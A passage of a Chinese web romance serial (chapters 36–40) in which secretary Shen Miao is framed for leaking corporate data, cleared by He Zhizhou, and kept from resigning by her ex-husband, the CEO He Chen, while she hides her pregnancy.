明黎艳猛地将手缩回来,惊讶地看着他,“她犯了这么大的错误,难道你要包庇她!?” “事情还没调查清楚,就算是她做的,我也会处理。” 贺忱威严十足,根本不惧几位董事在场。 明黎艳脸色难堪,“胡闹!董事们都来了,你还想把事情压下去不成?而且我这儿都有证据!” 她从包里拿出几张照片,放在桌子上。 照片上都是沈渺和何之洲碰面。 沈渺看了好几遍,才认出来那分别是她去医院探望何之洲,产检偶遇何之洲,以及昨晚何之洲在百荣楼下等她时的场景。 其中她将密封袋递给何之洲,何之洲接过去的画面,被特意放大了不少。 “沈秘书,贺总对你不薄,你怎么能背叛他!” “这下我们怎么跟程家交代!?” “百荣跟程氏的合作要是失败了,贺总第一个不会放过你!” 项目部几个人你一言我一眼,字里行间的不满,快要将沈渺给淹死。 沈渺下意识看向贺忱。 男人面色不辨喜怒,将那些照片拿过来,一一翻看。 “不是这样的,我……” 沈渺动了动唇,正欲解释。 明黎艳打断道,“铁证如山,你还想狡辩?!” 铁证?这些东西一旦被公开,给沈渺判刑,她面临的不仅仅是离开百荣。 前途尽毁不说,她还要面临被公司起诉。 事发至今不过两个小时,明黎艳拿出这些照片当做铁证,若说不是提前准备好的,沈渺不信! 为了让她离开,明黎艳真是煞费苦心,连跟程家的合作都不顾了? 是啊,没了这次的合作,还有下一次,有贺忱在,程家迟早能更上一层楼。 只要能让她离贺忱远远的,一个项目,一点损失算什么? 沈渺眼睛一眨不眨地看着贺忱,见他眉骨一拢,脸色沉得吓人。 她毫不犹豫地说,“贺总,凭借这些就说是我出卖的百荣,未免太草率了,我……” ‘啪——’ 贺忱将一沓照片丢在地上,发出清脆的响声。 那声音,在沈渺听来比刚刚明黎艳那一巴掌,还要刺耳。 整个会议室一片死寂,众人的视线都落在贺忱身上。 贺忱身形微动,侧目看向沈渺,鹰隼般的眼眸极具穿透性。 “林昭,去通知人事部的人过来,现在就——” 明黎艳再度开口,却被打断。 “暂停沈秘书的职位,等我调查清楚,绝不姑息。” 贺忱收回盯着沈渺的目光,复又意味深长地看了明黎艳一眼,“她是我的人,去留只能我说了算。” 八年前贺忱接手公司之后,连连创下新高,将百荣推上一个又一个的新高度。 就算撇开他这个贺家继承人的位置,董事们对他也有几分忌惮。 在‘铁证’面前,他选择继续调查,谁也不敢辩驳。 贺忱的行为,无异于当众打了明黎艳的脸。 这一巴掌,可比明黎艳打沈渺的那巴掌更加的令人难堪! 他转身离开会议室,林昭立马跟上,赵经理也带着一群人离开。 “让各位看笑话了,贺忱做事一向讲究证据。” 明黎艳咬着牙在几位董事面前,给自己找补面子,“那就让他自己查,相信他一定能给各位以及程家一个交代。” 董事们识趣,不掺和这母子两个之间的战争,寒暄几句后离场。 他们一走,明黎艳的火儿压不住,直冲沈渺。 “沈渺,你怪不得我!谁让你几次三番破坏唯怡和贺忱的感情!?我跟你说过,你别妄想进贺家的门!” 沈渺眸光清冷淡漠,“您放心,贺家的门……我不进!” 她语气坚定,面色透着决然。 明黎艳一噎,没想到她会是这个反应的。 “如果今天您拿出二百万来,让我跟公司解约,就算打我两个巴掌我都会对您笑脸相迎,可您用错了方法,我不会就这么走了的。” 沈渺拿了包和外套,绕过明黎艳离开。 明黎艳气得直打颤,“好啊,你好啊!狐狸尾巴露出来了,亏你话说得好听……” 她的声音渐行渐远,沈渺并未理会。 眼下的局势,已经不是离职与否的问题。 而是沈渺未来的职业生涯,会不会就此葬送。 她可以离开,但绝对不能是以这样的方式。 新闻爆出后,公司上下的人都知道,沈渺是在众目睽睽下离开的。 贺忱坐在位置上,刚好看到她等电梯时挺得依旧笔直的腰板。 “贺总,我觉得这件事情不是沈秘书做的!” 林昭再三思忖,“沈秘书就算要出卖您,也不会众目睽睽下跟何之洲走那么近!” 贺忱脸色阴郁,“顺藤摸瓜,查九洲内部。” “还有什么好查的!?”明黎艳推门而入,怒气冲冲,“那沈渺早就跟何之洲勾搭上了,还用我提醒你?她众目睽睽之下跟何之洲走这么近就是因为有恃无恐,离开百荣有何之洲兜底,贺忱,你还在犹豫什么!?” 她每一说一句,贺忱周围的温度都要降上几度。 林昭垂下眼帘,大气都不敢喘。 “按我说的办,你先出去。”贺忱薄唇轻启道。 林昭转身就走,逃离这母子两个的战场。 “您再这样。” 贺忱站起来,双手抵在桌沿,凝着明黎艳,“程家那边,我就不管了。” “那你别管了!”明黎艳破罐子破摔,“我倒是看看,程家倒了唯怡孤苦无依,你心不心疼!” 36.给你个机会,自证清白 “我不会不管她,她不会孤苦无依。” 贺忱不吃她那一套,“您还是先考虑好,等我查明事情,该怎么跟董事会交代吧。” “你……”明黎艳倒吸一口凉气…… —— 回到家中,沈渺冷静了一会儿,然后掏出手机通过了昨晚何之洲的好友申请。 何之洲很快给她发了个表情包过来。 沈渺直接打了通语音电话,“何总,您看新闻了吧,现在百荣怀疑我把数据泄露给您了,您能不能帮我澄清一下?” 她主动打语音过来,语气凝重。 何之洲压根没看新闻,听她说了才点开财经头条。 “卧槽,九洲哪个孙子这么阴!” 沈渺沉吟片刻,“……应该是您父亲。” 何之洲被卸职后,他父亲处理九洲事务。 这么大的新闻,动手一查便知是九洲搞的鬼,必定是经过何之洲父亲同意的。 “这……”何之洲犯了愁,“我爹这人你也不是不知道,不讲信用不讲情面,他办事你就倒霉吧。” 换言之,他就算想帮忙,也帮不上。 沈渺没想到,何之洲在他父亲面前,这么没分量。 “你干脆趁机辞职,等我回九洲……” 何之洲话还没说完,语音就被打进来的电话中断了。 他滑动屏幕接起。 “谁啊?” 那端,贺忱没什么温度的声音传来,“想不想拿回九洲话事人的权利。” 何之洲:“……” 他当然想。 可是贺忱这语气,好像掌握住了他的命运一样,他的心里不舒服死了! “明天上午十点,来百荣一趟,按我说的做。” 他不吭声,贺忱却像能看透他心思那般,撂下一句话就挂了电话,笃定他会听。 何之洲低骂了一声‘靠’,狠狠将手机摔在沙发上! 他还能让贺忱这王八蛋,给捏住命脉? 凭什么贺忱说什么,他就要听! 他是旁观看戏的,救不救沈渺对他来说不重要,对贺忱更重要,他—— “嘶,贺忱这王八蛋,是想帮沈渺?” 他拿过手机拨出一个电话去,“查一查百荣今天发生什么事情了!” 不出十分钟,他知道了沈渺被冤枉的内幕,明黎艳的手笔。 明黎艳不会无缘无故针对沈渺,一定是为了程唯怡。 她对程唯怡的疼爱,比对亲女儿有过之而无不及。 贺忱却要保沈渺…… 有意思了! 何之洲眼眸精光乍现,他又给沈渺回拨了语音。 “沈渺,我仔细想了想,你也是因为我被连累的,我不能不管你,但我有个要求。” 突然被挂断的电话,沈渺心如明镜,何之洲没那个胆子跟他爹作对。 谁知这短短几分钟,他竟是改变主意了。 “你说。” “从今天起,我要光明正大地追求你,你不许躲我。” 那端,何之洲语气正经。 沈渺握着手机的手一紧,眉头皱起。 “何总,您别拿这种事情开玩笑。” 何之洲玩玩而已,闹得人尽皆知,更多的人关注到她,绝非好事。 她只想在上流圈子里当个小透明,这样才不会有人关注到她和孩子。 “沈秘书怕是不知道自己的魅力,我是真的对你感兴趣。” 何之洲话中有话。 能让贺忱起‘歹念’强吻的女人,肯定是有魅力的! 沈渺举棋不定,为了摆平公司的事情,惹上何之洲这个‘麻烦’,到底值不值。 “何总,能先说说你打算怎么做吗?” 她想先听听何之洲的计划。 孰料,何之洲说,“你答应就行了,事情交给我,其他的不用管了。” ‘啪’,何之洲挂了电话。 “可是,何总,喂?”沈渺拧着眉,漆黑的眼眸中倒映着被挂断的电话界面。 罢了,走一步看一步,眼下度过内鬼危机更重要。 一整天,公司的群里静悄悄的,连平日里的工作交流都没了。 毕竟,沈渺这个‘内鬼’也在。 李白恬给沈渺发消息,汇报贺忱的动向。 【秘书长去汇报工作的时候,替你说情,被贺总骂了一顿。】 【白瞎了你跟贺总六年,我都不信你会出卖他,他却信!】 【刚刚程小姐来了,跟贺总哭了一顿,贺总说一定会给程氏一个交代,刚刚人事部经理被喊过去了,该不会是炒你鱿鱼吧!】 每一条消息,都牵动着沈渺的心。 就算要离开,她还是做不到不被贺忱的一举一动影响。 抛除感情,身为他的助理,被他这般的不信任,她也无法接受。 凌晨,林昭给她发消息,让她明天上午十点到公司一趟。 她强迫自己睡觉,却一直浑浑噩噩。 次日十点,百荣集团顶楼会议室。 这次的事情影响到了公司的名声与利益,董事们格外关注。 沈渺到的时候,偌大的会议室里人满为患。 她一进来,就被所有人审视的目光洗礼着。 贺忱坐在首位,右手边是程唯怡,她今天是代表程氏过来的。 “贺总。”沈渺化着淡妆,却遮掩不住她憔悴的面色。 昨天被明黎艳打的那一巴掌,今天还有些印子。 贺忱拧着眉,未曾看她一眼,嗓音漠然道,“到一边站着。” 沈渺走到他身后的角落里站着,捏着公文包的手紧紧攥着。 不知道等待她的是什么。 何之洲那边还没动静,或许一切都来不及了。 在权势面前,她的能力和骨气,一文不值。 哪怕她清楚的知道,是明黎艳栽赃污蔑,也改变不了事实。 这群董事并不关心事情的真相,只想抓出一个人来泄愤解气。 “贺总,人都到齐了,开始吧。” 董事们中最具话语权的李董率先开口,“你打算怎么处置这个小秘书。” “一定要把她开除!百荣不要这样的叛徒!” “开除都是轻的,让她负法律责任,这辈子都别想再出来。” 董事们激情开麦。 沈渺提气,像被丢在火炉里烧一样难受。 贺忱一言不发,坐在那里听这些人说,面色不辨喜怒。 “贺忱哥。”程唯怡忍不住开口,“你还在等什么?赶紧下决策,给董事们一个交代吧!” “过来。”贺忱抬起手,轻勾了两下。 他虽没看沈渺,沈渺却知道这是在喊自己。 她走到贺忱身边停下。 “给你个机会,自证清白。”贺忱短发干练,俊朗的面庞透着矜贵。 带着施舍的口吻,与其说是给她一个机会,不如说是走个过场,显得他没那么冷血无情。 沈渺知道,不管她怎么解释,都改变不了这些人把她当成内鬼的事实! 37.贺忱,我们谈谈吧 可沈渺却也不能什么都不说,那等于默认。 她看着贺忱的侧脸,声线难以压下心头酸涩带来的轻颤。 “我没有理由出卖百荣,出卖你。” 程唯怡一声冷笑,豁然起身,“给你机会是让你解释,不是让你强词夺理的!” 沈渺看都不看程唯怡一眼,她的眼神只落在贺忱一个人身上。 虽然心灰意冷,可真到了这一刻,她心底无法自控地升起希冀,或许贺忱就信她了呢? 只要贺忱信,不管这些董事们信不信,她都不会被泼上内贼的脏水。 “贺忱哥!” 程唯怡见沈渺一直盯着贺忱看,挽住贺忱的胳膊说,“你明明答应过秉公处理的,证据都摆在眼前了,还有什么可让她解释的!” 贺忱侧脸线条紧绷,他深邃的眼眸看向沈渺。 “不愧是傍上了何之洲,沈秘书说话这么有底气。” 沈渺的心一沉,他这话无异于给她定罪。 桌子上杂乱的照片,每一帧都是她和何之洲,一切都仿佛成为定局。 “我觉得李董他们说得很对,不能轻易放过她,除了开除还要让她负法律责任。” 程唯怡迫不及待给沈渺定罪,“贺忱哥,你现在就让法务部的人过来……” 沈渺呼吸一滞,轻咬着嘴唇看着贺忱。 贺忱看了眼腕表,眉骨收拢,似乎在等什么。 ‘咚咚’会议室的门被敲响,发出沉闷的声音,打破了愈发剑拔弩张的气息。 林昭从外面走进来。 “贺总,何之洲来了。” 李董脸色一沉,“他来干什么?” “就是,我们百荣是他想来就来的地方吗?” “而且这是我们内部的事情,我们自己解决!” 百荣跟九洲是死对头,董事们对何之洲的抵触比贺忱还严重。 贺忱指骨整理了下西装,给林昭使眼色,“让他进来。” 林昭转身去开门。 沈渺看向门口,将最后一丝希望寄托在何之洲身上。 何之洲难得穿着正经,灰色的西装令他看起来成熟许多。 他先给了沈渺一个安心的眼神,然后才缓步走进来。 “抱歉,打扰了你们内部的会议,碍于这次的事情跟我扯上关系,我就厚着脸皮来参与一下。” 何之洲走到会议桌旁,拿过那些照片,一一仔细打量。 “呦,靠着几张照片就给沈秘书定罪,你们百荣的人都够草率的。” 他挑选几张与沈渺对视,看起来他们很登对的照片,放在口袋里。 “这几张我要了,带回家裱起来。” 说这话时,他打量着贺忱的脸色。 贺忱手指轻揉着腕骨,面色沉得能滴出水,“少说废话。” 何之洲咧嘴一笑,拿起一张照片解释,“这张,是沈渺替你们贺总去医院探望我的,不知道被哪个不长眼的偷拍了。” 他又换了一张,“这张是沈秘书身体不适去医院体检,刚好跟我遇上。” “至于这一张,是我来百荣楼下接沈秘书下班,她交给我的密封袋里面,是一封……” 他拉长尾音,目光扫过所有董事一圈,最后落在贺忱脸上。 “一封情书,我之所以跟沈秘书纠缠这么多,因为我对她仰慕已久,正在追求她,自古车马慢一生只爱一个人,我选择用最原始的方式跟沈秘书谈一场柏拉图式恋爱,所以我们是书信沟通的,你们要看吗?我带来了,给你们念念?” 何之洲从口袋里拿出一封信展开。 贺忱鹰隼般的眸睨了一眼,虽看不清信的内容,但整张纸被写满了密密麻麻的字。 他下颚线条清晰,紧咬着牙。 何之洲放荡不羁的声音响起,“洲洲,一日不见如隔三秋……” “何总!”沈渺不得不打断,她朝何之洲摇头。 这种事情不能开玩笑。 何之洲看了她一眼,唇角笑意逐渐扩大,将那封信折起来。 “渺渺害羞,那我就不读了。” 他不在众人面前掩饰对沈渺的感情。 沈渺被他拉出危机,却又陷入火坑。 可他似乎觉得还不够,走到沈渺身边站着,眯起狐狸眼冲她一笑,“渺渺,我帮了你这么大的忙,晚上下班你请我吃饭吧。” 诸多审视的目光下,沈渺动了动唇,答应不是,不答应也不是。 何之洲为了她,单枪匹马来百荣,冒着吃闭门羹的危险,这个人情她确实要还。 可他毕竟是百荣的死对头。 “何总,曝光数据的人,就是你们九洲的。” 贺忱缓缓开口,肃然的眸光朝两人看来,“对此,你的解释火候不够。” 他暗指何之洲说那信封里是情书,是片面之词。 “我在任九洲这几年,都没用过这样的手段,最近被卸职一直休养,压根没管工作的事情。” 何之洲不假思索道,“我打听过了,这事儿是我爸干的。” 贺忱似乎就在等他这话,起身跺了跺脚,骨节分明的手整理了下西装。 “林昭,送客。” 林昭立刻走向何之洲,“何总,贺总还有要事处理,改天您来再请您喝咖啡。” 何之洲脸色微变,“贺忱,你过河拆桥,我不要面子的!?” 让他来他来了,解释清了连句谢谢都不说,就赶他走!? “何总,请。”林昭强行把何之洲‘请’出办公室。 何之洲挣扎着朝沈渺做出打电话的姿势,“渺渺,电话联系啊~” 沈渺正欲朝何之洲点头,冷不丁触及贺忱漆黑如墨的眼眸,她身体一僵,垂下眼帘。 “去我办公室等着。”贺忱嗓音涔涔。 沈渺转身朝外走。 何之洲身份摆在这里,他的解释有含金量,她的嫌疑被洗清了。 但确实有人泄露了数据,贺忱需要给董事们一个交代。 沈渺在他的办公室一等就是两个小时。 中午十二点,贺忱才回来。 他脱掉西装丢在沙发上,拿出一根烟点燃,站到窗边,身子倚着窗沿打量站在屋子中央的沈渺。 沈渺看着他行云流水的动作,定定望着他投来的目光。 四目相对,他黢黑的瞳仁冷冽如刀锋,透着不容置疑的威严。 “贺忱,我们谈谈吧。” 沈渺率先开口,她喊了他名字,而不是‘贺总’。 38.低贱的出身、嫁过人的事实! 轻轻两个字,从她唇瓣里吐出,宛若两颗小石子,打在贺忱的心间。 贺忱吸烟的动作一顿,咬在嘴里的烟蒂颤了颤,烟灰掉落一地。 “我们除了上下司的关系,还是离婚夫妻,就算不是离婚夫妻,也是男女有别的异性。” 沈渺昨晚想了一夜,问题的根本不在程唯怡和明黎艳,而是在贺忱身上。 “程小姐身为你的准未婚妻,容不下你身边有女人,这是人之常情,明董不想看着我这个前儿媳在她眼皮子底下晃悠,也是情理之中。” “她们容不下我,我都可以理解,但是贺总明知她们的想法,却还故意留下我,不论你留下我的目的是气程小姐也好,不想被明董操控也罢,这都不是明智之举,而且你这样做给我带来很大的麻烦。” 安静的办公室里,沈渺字字句句条理清晰。 看似镇定的沟通下,隐藏的是多日来她承受的压力和委屈。 “您可以不考虑到我的感受,但是纠缠出这么多事情,足以证明我这颗棋,您下错了。” 她一鼓作气说完,而站在那儿的男人却一言不发。 他面色如讳,轮廓分明的五官被缭绕的雾气笼罩。 整个人透着别人捉摸不透的高深。 沈渺与他对视,在他的目光中寻到一丝质疑。 质疑什么?质疑她不想给他添麻烦是假的?质疑她在欲擒故纵想留下吗? 除此之外,沈渺想不出他能质疑她什么。 她犹豫了下又说,“也请您转达明董,让她放心我有自知之明,贺家的大门我没有资格进。” 贺忱拿下嘴上的烟,挥了挥面前的烟雾。 “那你凭什么认为,你能进何家的门。” 沈渺一噎,她什么时候想进何家的大门了? 看透他眼底淡淡的讽刺,她提气道,“我能不能进何家的大门,跟你没关系,总之……我要辞职。” “何之洲给你出两百万了?”贺忱句句不离何之洲。 两百万,是指违约金。 他还是不肯和平解约,让沈渺离开。 “这些年我工作兢兢业业,没有功劳也有苦劳,贺总不能放我一马吗?” 贺忱将烟掐灭,丢入烟灰缸,他朝沈渺走过去,周身凛然的气息,将沈渺包裹住。 “不能。” 一字一顿,从他牙缝里蹦出来。 他目光薄凉,盯着她巴掌大的小脸。 忽地抬起手,落在她还留有巴掌印的脸颊。 他指腹温热,落在她细嫩的皮肤上酥酥麻麻的,遍袭她全身。 他的接触,令沈渺一瞬间身体血液凝固,整个人都动弹不得,直愣愣看着他放大版的俊颜。 “打着为我好的幌子,投入何之洲的怀抱,沈渺,你当我傻?” 末尾四个字,他的尾音一下拔高。 修长的手指插入她发梢,固定着她的头,迫使她抬起头来看着他。 “做过我两年的妻子,告诉何之洲了吗?” 逼仄的气息迎面扑来,沈渺呼吸薄弱,她立刻摇头,“没有。” 答应好的隐婚,她绝对不会泄露秘密。 “怎么,不敢说?”贺忱唇角掀起嘲弄的弧度,“低贱的出身、嫁过人的事实,你凭什么认为何之洲能真看上你?” 沈渺心头一刺,她鼻子发酸,蛰的眼底氤氲起雾气。 眼前男人的轮廓渐渐模糊,可他面上的嘲讽依旧很浓。 “百荣总裁秘书,已经是你能力所及爬到最高的位置,痴心妄想只会让你一无所有。” 贺忱松开她,站直身体比她高出一个头,睨着她垂下眼帘的样子。 “出去。” 沈渺脸颊被他轻抚过的地方,一阵火辣辣的灼热。 像是又狠狠挨了一巴掌那般。 她强忍着没让眼泪掉下来,还是不死心地说了句,“离职的事情,希望贺总能再好好考虑一下。” 贺忱罔若未闻,在办公桌前落座,不再给她一个眼神。 她转身的一瞬,泪珠终于夺眶而出。 她并未直接回工位,而是去了洗手间,消化她在贺忱心中那‘低贱的出身’的卑微。 若贺忱知道,她这样出身的女人怀上了贺家的血脉,一定会恨她,拉低了贺家血脉的档次。 沈渺的手轻轻覆上小腹,滚烫的泪珠顺着她脸颊滑落。 没关系,孩子是她一个人的,与贺家无关! 下午两点,上班时间到了,沈渺从楼道出来回到工位上。 她除了眼睛微红,看不出任何异样。 虽然洗清嫌疑,但是与何之洲扯上关系,沈渺在公司寸步难行。 高层们给贺忱送文件,都不敢再交给她,而是去找林昭。 原本她负责贺忱的所有事宜,现在只剩下为贺忱冲咖啡,提醒开会等小事。 当天下午,何之洲‘大义灭亲’,向百荣内部揭发他父亲何玉国,收买人曝光数据的视频流出。 因为何玉国的不耻行为,导致九洲股票下跌严重。 傍晚,九洲召开紧急会议,卸职何玉国的九洲总裁一位,再让何之洲回来。 九洲大部分权利在何家手上,所谓的董事会卸职,只是何玉国挽回九洲股票的说辞。 当天晚上,九洲的股票总算稳住了,没再持续下跌。 但何之洲受到家法惩治,被打得直喊爹。 “我被贺忱那王八蛋阴了!爹,你打死我如了贺忱的意啊!” “嗷~爹,我错了错了……” 何之洲是何玉国的独子,何玉国纵然再气,也只是打出了一身皮肉伤,便作罢了。 何之洲顶着一身伤跑了,他没去医院,直接去了沈渺家。 晚上九点,沈渺等贺忱开完最后一个会议才回家。 何之洲那辆豪华的轿车有多张扬,他此刻看起来就有多惨。 白色衬衫扣子不翼而飞,敞开的胸膛露出一层薄肌。 嘴角一块於红,眼尾一块淤青,身上还有几个脚印。 “你家有药箱吗?嘶——”何之洲说完一句话,疼得龇牙咧嘴。 沈渺静默数秒才反应过来,“你受伤了,不去医院处理,跑到我这里干什么?” 何之洲摸着生疼的嘴角,怨气十足道,“我要是去医院,媒体一定会放大事件,我们父子两个被贺忱阴了,多没面子。” “抱歉,没想到会连累你。”沈渺下午看到那则新闻,就已经猜到贺忱的目的了。 不论数据是谁泄露的,何玉国都是得利者。 贺忱向来睚眦必报。 她带着何之洲上楼,找出药箱给他处理伤口。 何之洲嘴角的伤口渗出血水,沈渺用棉棒蘸着碘伏轻轻擦拭。 她动作轻柔,仔细认真,并未发现何之洲正研究一盒药。 是她前几天生病专门拿的孕妇感冒颗粒。 “沈渺,你……怀孕了?” 39.何之洲发沈渺照片,挑衅贺忱! 沈渺呼吸紊乱,手上的动作一慌,棉棒戳到何之洲嘴里。 “嘶~呸呸呸!” 何之洲丢下药盒,弯腰到垃圾桶里淬了几口。 沈渺迅速把药盒放到口袋里,起身倒了一杯水过来,“抱歉我不是故意的,你漱漱口。” 何之洲接过温水,漱口后再找,却发现药盒没了。 “那是我闺蜜的药,她落在我家的。” 沈渺故作平静,重新坐下来,生怕他不信又添了句,“我连男朋友都没有,到哪里去怀孕。” 何之洲半信半疑,“没男朋友不代表没男人。” “我……工作这么忙,哪里有时间找男人。”沈渺避开这个话题,“还有其他地方受伤吗?” “不会是贺忱吧?他把你霸王硬上——” “何总。”沈渺板起脸来,“你要是再乱说,就请你出去。” 何之洲见她生气,立马不说了,“好好好,我的错,这儿疼,你给我看看。” 他坐下来,将衬衫脱下,露出臂膀。 左肩上一片触目惊心的淤青血红。 沈渺家里有活血化瘀的药油,她给何之洲擦了一些,轻轻按揉。 何之洲虽然长相帅气,但沈渺对他一点儿感觉都没有。 只觉得这满身伤,是因为自己才受的,所以一心给何之洲处理。 何之洲趁她不注意,掏出手机拍下她侧颜的照片,发出去。 【贺忱,你够阴的!幸好我有美人处理伤口,你等我满血复活,咱们没完!】 深夜,贺忱从浴室出来,他腰腹裹着一条浴巾。 透明的水珠从他肌理分明的胸口落下,短发半干整个人散发着荷尔蒙的气息。 他进入衣帽间,换了套深蓝色睡衣,骨节分明的手拿过手机,朝床上走去。 掀开薄被的动作,随着他点开消息而停住。 照片上,沈渺低垂着眼帘,看不到她眼底的情绪。 但是看她认真的表情,任谁都会认为,她此刻眼底是一片心疼的。 心疼何之洲那青紫的伤口。 配上何之洲看似气急败坏,实则显摆的表情—— 贺忱将手机关了,一团火焰在他黢黑的瞳仁里熊熊烧起。 他转身离开卧室,直奔书房。 不出五分钟,沈渺在工作群里被安特,贺忱让她将天成项目重新总结,上班之前给他。 突如其来的重任,让沈渺摸不着头脑。 事情发展到这一步,贺忱怎么会还让她接触天成项目? 她看了看时间,已经快十一点了,上班之前交上去,意味着她一夜不能睡。 贺忱是故意的,想折腾她。 “何总,我临时有工作要处理。” 伤口处理得差不多,沈渺把药箱收起来,“如果您还有不舒服的地方,还是去医院吧。” 何之洲眸底划过一抹精光,“这么晚了,贺忱找你?” 沈渺点头。 “哈哈。”何之洲却是突然大笑起来,“贺忱啊贺忱,总算让我抓到你的把柄了。” “什么?”沈渺拧眉,不解地看着他。 何之洲站起来,将衣服穿好,“那你忙,我就先走了,别忘了我为你受的苦,改天有时间请我吃饭。” 沈渺没想到他这么痛快就走了,送他到门口,“谢谢何总,改天有机会一定请您吃饭。” 送走何之洲,她回到家里,搬出笔记本开始整理。 翌日清晨,贺忱书房的灯亮着。 书房门被敲响,贺忱声音微哑,“进。” 贺懿推门而入,被浓烈的烟呛得直咳嗽。 “大早上的,你抽什么烟啊!” 贺忱掐灭烟,“有事?” 贺懿将书房的窗户推开,挥了挥烟气,转过头看到烟灰缸里堆满的烟蒂,倒吸一口凉气。 “你一晚上没睡啊?” “说事。”贺忱眉头拧成死结,眼底泛着红血丝。 贺懿从未见过他这么烦躁,她咂咂嘴道,“就为了渺渺辞职的事情,奶奶让我来问问你,怎么想的。” 现在公司上下都知道,沈渺的职位摇摇欲坠。 不过他们都猜,是贺忱想炒沈渺鱿鱼,但合同没到期,沈渺赖着不肯走。 可贺懿知道,是贺忱不放人,听明黎艳说的。 “工作上的事情,我自有安排。” 贺懿拉开椅子坐下,语气焦急,“人家想走你就让人家走呗,强扭的瓜不甜,你没听过吗?” 昨天何之洲来百荣给沈渺作证的事情,她都听说了。 下午九洲那边就闹出动静来了,何之洲的下场一定很惨。 贺懿跟贺老夫人一合计,何之洲对沈渺不是她们想的那般玩玩而已。 好像是认真的? 百荣的秘书的职位,将会是何之洲追求沈渺的一道障碍。 贺老夫人纵然不舍得把这么好的孙媳妇,送到‘敌人’手里去。 但事情已成定局,只要沈渺幸福,她能帮则帮。 这才让贺懿来探探贺忱的口风。 “你懂什么。”贺忱冷着脸,甩给她四个字,起身便要离开。 贺懿跟着他走出书房,“渺渺跟何之洲的事情我都听说了,你这人就是不懂成人之美——哎呦!” ‘砰’ 贺忱进了卧室,把卧室门关了。 贺懿一个不慎,差点儿被门拍了鼻子。 她揉了揉鼻尖儿,一阵心悸,“难怪渺渺跟你离婚,简直不可理喻——” 下一秒,卧室门又被打开。 贺忱阴沉着脸看她,“你今年全部奖金扣除。” “啊?”贺懿瞪大眼睛,“你不讲武德,公私不分!” 她的话,被再次关上的门隔绝开。 五分钟后,贺忱换了套西装出来。 贺懿还在门口‘守株待兔’,扯着谄媚的笑容跟着他,“哥,好哥哥,我知道错了,你别扣我奖金,我就是看你欺负渺渺见义勇为一下,你不听就是了,没必要跟妹妹较真啊……” 贺忱边扣腕表边下楼,笔挺的裤管熨贴着他修长的双腿,快步下楼。 “贺忱,你来得正好。” 客厅,明黎艳听见脚步声走过来,“你为了沈渺,把我推入火坑?” 昨天董事会上,沈渺的嫌疑洗清后。 贺忱虽未直接戳破明黎艳的手笔,但将这层窗户纸戳了一个洞。 董事们都知道是明黎艳所为,奈何她是贺忱的母亲,贺忱有意庇护,他们不好发作。 可私下,他们对明黎艳非常不满。 明黎艳挨个上门,给每个董事解释找补。 “我不要面子的吗?” “比起她挨的一巴掌,您只是动动嘴。”贺忱在餐厅前落座,看都不看明黎艳一眼。 明黎艳前所未有的生气,猛地拍了下桌子,“沈渺给你灌了什么迷魂汤,你这么向着她!” 40.贺忱:你跟我单独出差 “于公于私,沈渺都只是个秘书,一个秘书让你们如此大费周章,到底是谁给谁灌了迷魂汤。” 贺忱双眸深邃如古井,平静下是暗涌的波澜,“公司搅得一团糟,整个贺家都不安宁。” 霎时,贺懿不吭声,乖乖坐到贺老夫人身边去了。 被反将一军,明黎艳哑口无言,她目光直愣愣的。 “今天起,我暂时不回贺家了,周末家宴取消。” 贺忱没了吃早餐的心情,起身走到玄关处,摘下呢大衣穿上,推门离开。 凛冽的风吹在他身上,却散不去他心底涌上来的躁意。 两个小时后,百荣集团。 沈渺带着整理好的资料来上班,进入贺忱办公室。 资料最上面,是一封她已经签字的辞职报告。 她一转身,蓦地看到休息室门口的男人。 贺忱刚洗过澡,换了一件白衬衫,他将领口扣子系上,挽起袖口朝办公桌前走。 “泡杯咖啡。” 他醇厚的声音尾音,明显顿了下。 许是看到了那封辞职报告。 沈渺看着他没动。 直到他拿过辞职报告撕成两半,丢入垃圾桶里。 她才转身离开,去泡咖啡。 但她还没死心,打印了几十份离职报告,逮住机会就送过去。 而那些离职报告,最终的下场无非是落入垃圾桶里。 不过两人很默契,一个执着递一个执着撕,谁也不聊这话题。 就看谁沉得住气。 赵经理带着团队连夜弥补天成项目的数据,不出两天就有了新的方案出来。 但对程家人来说,危机依旧在。 “程氏差点被害了,沈渺还留在贺忱身边,他这到底是什么意思?” 孙易琴几次给明黎艳打电话说这事儿。 明黎艳一味解释,沈渺不重要,重要的是程唯怡要尽早跟贺忱把婚定了。 可贺忱这个态度,他们怎么放心把程唯怡交给贺忱? “贺忱是个事业心很重的人,我看订婚、结婚的事情,确实得我们主动一点。” 程青良指着百荣带程氏更上一层楼,对贺忱一点微词都不敢有。 “主动?这种事情女孩子怎么主动?”孙易琴看着蜷缩在沙发上抱着双腿的女儿,“我宠着长大的女儿,怎么到他手里这么不被重视?” 程青良只追求结果,“什么重视不重视的,只要能嫁到贺家就行了,早点生米煮成熟饭,怀上贺忱的孩子,一切都解决了。” 孙易琴一听,走过来照他肩膀上捶了一把。 “你胡说什么呢?女孩子要自重自爱……” 程唯怡却动了动身体,面色划过一抹心虚,不敢接程青良的话。 甚至不敢对视程青良和孙易琴的目光,她轻咬了下唇。 程青良被孙易琴连推带搡地起身上楼了,“有那个精力不如在贺忱身上下功夫,你们就是眼光短浅!” “有你这么教孩子的吗?唯怡,别听你爸的。” 孙易琴在程唯怡身边坐下,“男人都有花花肠子,贺忱那样的男人不是孩子能拴住的,你必须解决他身边的人……” 程唯怡借着靠在孙易琴肩膀的动作,遮掩住自己心虚的表情…… —— “沈秘书,你是不是胖了?” 午休时,沈渺正在座位上休息,秘书长吴蕾突然过来闲聊。 如今,沈渺怀孕快三个月,她四肢虽然依旧纤细。 但是本就前凸后翘的身材,愈发丰腴。 最近这两天,她穿职业装都有些紧绷。 冷不丁听吴蕾说,她下意识整理了下衣衫。 “是胖了几斤,上了年纪代谢不好。” 澄清内贼嫌疑后,公司大部分同事都相信她,对她跟以前无异。 吴蕾比她早来公司两年,在她刚入职时帮过她不少,为人和善。 她端着一杯温水在沈渺对面坐下。 “话说到这,我来问问你的私事,跟何总到底怎么回事?” 沈渺无奈一笑,“何总开玩笑,我一个小秘书,他拿我气贺总的。” 吴蕾连连点头,“我猜就是这么回事,在有钱人眼里,我们就是肆意摆弄的棋子,听你这么说我就放心了,怕你当真。” “怎么会。”沈渺扯了扯嘴角。 当初,贺忱提出娶她时,她就当真了。 以为嫁给他,人生圆满,那时的她就是天真的。 现在,她很清醒。 “我有个侄子,比你大两岁,国外留学回来的,我介绍你们认识一下?” 吴蕾打开手机,找出一张照片,递给沈渺,“你年纪不小了,该考虑终身大事了。” “我目前没有谈恋爱的打算。”沈渺看都没看,就把吴蕾的手机推回去了。 